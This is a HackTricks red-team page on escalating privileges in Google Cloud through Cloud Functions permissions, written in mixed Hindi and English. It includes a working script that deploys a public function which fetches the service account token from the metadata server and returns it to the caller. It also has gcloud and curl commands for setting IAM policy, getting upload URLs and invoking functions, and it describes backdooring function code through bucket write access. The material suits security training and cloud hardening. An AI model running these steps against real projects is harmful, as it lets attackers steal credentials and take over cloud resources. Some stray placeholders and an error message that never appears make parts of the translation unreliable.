GCP - Cloudfunctions Privesc

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

cloudfunctions

Cloud Functions के बारे में अधिक जानकारी:

GCP - Cloud Functions Enum

cloudfunctions.functions.create , cloudfunctions.functions.sourceCodeSet, iam.serviceAccounts.actAs

इन privileges वाले attacker arbitrary (malicious) code के साथ एक नया Cloud Function create कर सकते हैं और इसे एक Service Account assign कर सकते हैं। फिर metadata से Service Account token को leak करके उस पर privileges escalate किया जा सकता है।
Function को trigger करने के लिए कुछ privileges आवश्यक हो सकते हैं।

Exploit scripts for this method can be found here and here and the prebuilt .zip file can be found here.

cloudfunctions.functions.update , cloudfunctions.functions.sourceCodeSet, iam.serviceAccounts.actAs

इन privileges वाले attacker एक Function के code को modify कर सकते हैं और attached service account को भी modify कर सकते हैं ताकि token exfiltrating किया जा सके।

Caution

cloud functions deploy करने के लिए आपको default compute service account पर या उस service account पर actAs permissions भी चाहिए जो image build करने के लिए उपयोग होती है।

कुछ अतिरिक्त privileges जैसे version 1 cloudfunctions के लिए .call permission या function को trigger करने के लिए role role/run.invoker आवश्यक हो सकते हैं।

# Create new code
temp_dir=$(mktemp -d)

cat > $temp_dir/main.py <<EOF
import subprocess

def main(request):
cmd = "curl -s -f -H 'Metadata-Flavor: Google' 'http://metadata/computeMetadata/v1/instance/service-accounts/default/token'"
result = subprocess.check_output(cmd, shell=True, text=True)
return result
EOF

echo "" > $temp_dir/requirements.txt

zip -r $temp_dir/function.zip $temp_dir/main.py $temp_dir/requirements.txt

# Update code
gcloud functions deploy <cloudfunction-name> \
--runtime python312 \
--source $temp_dir \
--entry-point main \
--service-account <sa>@$PROJECT_ID.iam.gserviceaccount.com \
--trigger-http \
--allow-unauthenticated

# Get SA token calling the new function code
gcloud functions call <cloudfunction-name>

Caution

यदि आपको त्रुटि Permission 'run.services.setIamPolicy' denied on resource... मिलती है तो इसका कारण यह है कि आप --allow-unauthenticated पैरामीटर का उपयोग कर रहे हैं और आपके पास इसके लिए पर्याप्त अनुमतियाँ नहीं हैं।

The exploit script for this method can be found here.

cloudfunctions.functions.sourceCodeSet

इस permission के साथ आप एक signed URL प्राप्त कर सकते हैं जिससे function bucket में फ़ाइल अपलोड की जा सकेगी (लेकिन function के कोड में बदलाव नहीं होगा, आपको इसे अपडेट करना होगा)

# Generate the URL
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'

मुझे यकीन नहीं है कि केवल यह permission attacker के नज़रिये से कितना उपयोगी है, लेकिन जानना अच्छा है।

cloudfunctions.functions.setIamPolicy , iam.serviceAccounts.actAs

अपने आप को पहले बताए गए किसी भी .update या .create privileges दें ताकि आप escalate कर सकें।

gcloud functions add-iam-policy-binding <NOMBRE_FUNCION> \
--region=<REGION> \
--member="<MIEMBRO>" \
--role="roles/cloudfunctions.invoker"

cloudfunctions.functions.update

केवल cloudfunctions permissions होने पर, बिना iam.serviceAccounts.actAs के आप फ़ंक्शन को अपडेट नहीं कर पाएँगे, इसलिए यह कोई वैध PRIVESC नहीं है।

फ़ंक्शन्स को invoke करना

cloudfunctions.functions.get, cloudfunctions.functions.invoke, run.jobs.run, और run.routes.invoke permissions के साथ कोई identity सीधे Cloud Functions को invoke कर सकती है। इसके लिए यह भी आवश्यक है कि फ़ंक्शन सार्वजनिक ट्रैफ़िक की अनुमति दे, या कॉलर फ़ंक्शन के उसी नेटवर्क में हो।

curl -X POST "https://<FUNCTION_URL>" \
-H "Authorization: bearer $(gcloud auth print-identity-token)" \
-H "Content-Type: application/json" \
-d '{  "name": "Developer" }'

Read & Write Access over the bucket

यदि आपके पास bucket पर Read और Write एक्सेस है, तो आप code में होने वाले परिवर्तनों की निगरानी कर सकते हैं और जब भी bucket में कोई update होता है आप नए code को अपने code से बदल सकते हैं ताकि Cloud Function का नया संस्करण सबमिट किए गए backdoored code के साथ चलाया जाए।

You can check more about the attack in:

GCP - Storage Privesc

हालाँकि, आप इसे तीसरे पक्ष के Cloud Functions को पहले से compromise करने के लिए उपयोग नहीं कर सकते क्योंकि यदि आप अपना bucket अपने खाते में बनाते हैं और बाहरी project को उस पर लिखने की अनुमति देने के लिए इसे public permissions देते हैं, तो आपको निम्नलिखित error मिलता है:

Caution

हालाँकि, इसे DoS attacks के लिए उपयोग किया जा सकता है।

Read & Write Access over Artifact Registry

When a Cloud Function is created a new docker image is pushed to the Artifact Registry of the project. मैंने image को नए एक से बदलने की कोशिश की, और वर्तमान image (और cache image) को हटाने तक की कोशिश की पर कुछ भी नहीं बदला, Cloud Function काम करना जारी रहा। इसलिए, शायद यह might be possible to abuse a Race Condition attack बिलकुल bucket की तरह docker container को बदलने के लिए उपयोग किया जा सके, परंतु just modifying the stored image isn’t possible to compromise the Cloud Function

References

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें